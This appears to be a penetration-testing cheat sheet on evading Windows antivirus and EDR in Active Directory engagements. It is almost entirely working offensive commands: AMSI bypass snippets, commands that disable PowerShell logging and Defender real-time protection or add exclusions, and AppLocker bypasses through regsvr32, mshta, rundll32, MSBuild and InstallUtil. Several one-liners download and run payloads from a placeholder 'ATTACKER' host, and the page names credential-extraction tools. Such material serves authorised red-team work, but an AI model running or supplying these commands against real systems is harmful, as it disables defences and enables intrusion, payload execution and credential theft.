Service bank
DIRECTORY / AD

Windows AV / EDR Evasion

aka AMSI Bypass, AppLocker Bypass, AV Evasion, EDR Evasion, LOLBAS

Post-compromise evasion for AD engagements: AMSI bypass (memory patching, reflection), PowerShell logging evasion, AppLocker bypass (LOLBAS, trusted paths, regsvr32), Windows Defender exclusions, obfuscation, and living off the land techniques.

Fingerprint

  • AMSI is active when Get-MpComputerStatus shows AMServiceEnabled: True
  • AppLocker is active when Get-AppLockerPolicy -Effective returns rules
  • ScriptBlock logging: HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Key files

PathHoldsSensitive
C:\Windows\System32\amsi.dll AMSI interface — patching AmsiScanBuffer disables scanning
HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell PowerShell logging policy — ScriptBlockLogging, ModuleLogging

Exploitation primitives

  • Patch AmsiScanBuffer in memory to disable script scanning for current PS session
  • regsvr32 /s /n /u /i:script.sct scrobj.dll — executes JScript bypassing AppLocker
  • Trusted AppLocker paths (C:\Windows\Temp) allow execution if write is available
  • Invoke-Obfuscation or custom XOR payload to evade static signature detection

Environment Recon (What’s Active)

# Check Windows Defender status
Get-MpComputerStatus | select AMServiceEnabled, RealTimeProtectionEnabled, AMRunningMode

# Check AppLocker policy
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Check PowerShell logging
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging'

# Check Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode
# If 'ConstrainedLanguage' → AppLocker / WDAC active

# Check if AMSI is bypassed (test safely)
$a = "amsi"  # AMSI should flag "amsiutils" but not this

AMSI Bypass

AMSI (Antimalware Scan Interface) scans PowerShell script content before execution. Patching the AmsiScanBuffer function in memory disables scanning for the current session.

Reflection patch (no strings trigger — encode first)

# Encode and run — avoids AMSI scanning the bypass itself
$b = [System.Convert]::FromBase64String("AMSI_BYPASS_BASE64_ENCODED")
[System.Reflection.Assembly]::Load($b)

Common AMSI bypass (obfuscate before use — AV detects these raw)

# Technique 1 — amsiInitFailed reflection
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Technique 2 — force AMSI provider unload
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
$c=$b.GetValue($null)
[IntPtr]$d=$c
$e=[Runtime.InteropServices.Marshal]::ReadInt32($d)
[Runtime.InteropServices.Marshal]::WriteInt32([IntPtr]($d.ToInt64()+8), 0)

PowerShell downgrade (disable v2 first if not available)

# PS v2 has no AMSI
powershell -version 2 -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')"

Encoded command (basic script block logging bypass)

# Encode payload
$cmd = "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')"
$b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $b64

PowerShell Logging Bypass

Disable Script Block Logging (requires admin)

Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' -Name EnableScriptBlockLogging -Value 0

Disable Module Logging

Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging' -Name EnableModuleLogging -Value 0

Run in a new PS process without profile

powershell -NoProfile -NonInteractive -WindowStyle Hidden -enc BASE64_CMD

AppLocker Bypass

AppLocker blocks execution of unsigned scripts and executables outside trusted paths.

Identify writable trusted paths

# Commonly writable AppLocker-allowed directories
C:\Windows\Tasks\
C:\Windows\Temp\
C:\Windows\tracing\
C:\Windows\System32\spool\drivers\color\
C:\Windows\System32\tasks\
%LOCALAPPDATA%\Temp\
%APPDATA%\

# Find writable locations in Windows dir (PowerShell)
Get-ChildItem C:\Windows -Recurse -ErrorAction SilentlyContinue |
  Where { $_.PSIsContainer -and (Test-Path "$($_.FullName)\test.txt" -ErrorAction SilentlyContinue) }

regsvr32 (Squiblydoo — doesn’t check AppLocker)

# Host a .sct file on attacker server:
# <scriptlet><script language="JScript">new ActiveXObject("WScript.Shell").Run("cmd")</script></scriptlet>
regsvr32.exe /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll

mshta (HTA execution — bypasses AppLocker script rules)

mshta.exe http://ATTACKER/payload.hta
mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run(""cmd"")"))

rundll32

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd",0,true);

InstallUtil (.NET 4.0 uninstaller bypass)

# Compile C# payload as .exe, then:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe

MSBuild (inline task execution — allowed when .NET is trusted)

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe payload.csproj

Windows Defender Evasion

Check and modify exclusions (requires admin)

# List exclusion paths
Get-MpPreference | Select ExclusionPath, ExclusionExtension, ExclusionProcess

# Add exclusion for staging directory
Add-MpPreference -ExclusionPath "C:\Temp"
Add-MpPreference -ExclusionExtension "ps1"
Add-MpPreference -ExclusionProcess "powershell.exe"

# Disable real-time protection (requires admin)
Set-MpPreference -DisableRealtimeMonitoring $true

Disable Defender via registry (requires admin)

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

PowerShell Constrained Language Mode Bypass

When AppLocker is active and PS is in ConstrainedLanguage mode:

# Use .NET directly (still works in CLM)
[System.Diagnostics.Process]::Start("cmd.exe", "/c whoami > C:\Temp\out.txt")

# rundll32 executes .NET assemblies
# Inject via reflective DLL loading if possible

# Check which version of PS escapes CLM
$ExecutionContext.SessionState.LanguageMode
# FullLanguage = no CLM

# If PS v2 is available
powershell -version 2

# Direct .NET invocation (CLM doesn't restrict all .NET)
Add-Type -TypeDefinition @"
using System.Diagnostics;
public class Exec {
    public static void Run(string cmd) { Process.Start("cmd.exe", "/c " + cmd); }
}
"@
[Exec]::Run("whoami")

Obfuscation Techniques

String splitting

# "Invoke-Expression" split to avoid detection
$i = 'Inv'+'oke-Exp'+'ression'
& ([scriptblock]::Create($i)) "whoami"

Base64 + char conversion

# Convert each character
$cmd = [char]119+[char]104+[char]111+[char]97+[char]109+[char]105  # "whoami"
Invoke-Expression $cmd

Invoke-Obfuscation (automated)

Import-Module Invoke-Obfuscation
Invoke-Obfuscation
# TOKEN\ALL\1  (obfuscate tokens)
# ENCODING\1   (encode the script)

LOLBAS — Living Off the Land

Binaries signed by Microsoft that can proxy code execution:

BinaryExecutionNotes
regsvr32.exeSquiblydoo SCTNo mark-of-the-web check
mshta.exeHTA/VBScriptAppLocker bypass
msbuild.exeInline C# task.NET trusted
installutil.exeUninstall code.NET trusted
certutil.exe-decode payloadAlso downloads files
bitsadmin.exeDownload + execLegacy but still works
wmic.exe/format: JScriptAppLocker bypass
cmstp.exeINF fileAppLocker bypass
runscripthelper.exeAny scriptWin10 only
forfiles.exe/c cmdTrusted path

Full list: https://lolbas-project.github.io/


C# Tools Without PowerShell

When PowerShell is fully blocked, use C# compiled tools that run as regular executables:

# SharpView (PowerView in C#)
.\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired

# SharpHound (BloodHound collection)
.\SharpHound.exe -c All

# Rubeus (Kerberos)
.\Rubeus.exe kerberoast /nowrap

# SharpDPAPI (credential extraction)
.\SharpDPAPI.exe credentials

# SharpUp (privilege escalation checks)
.\SharpUp.exe audit

References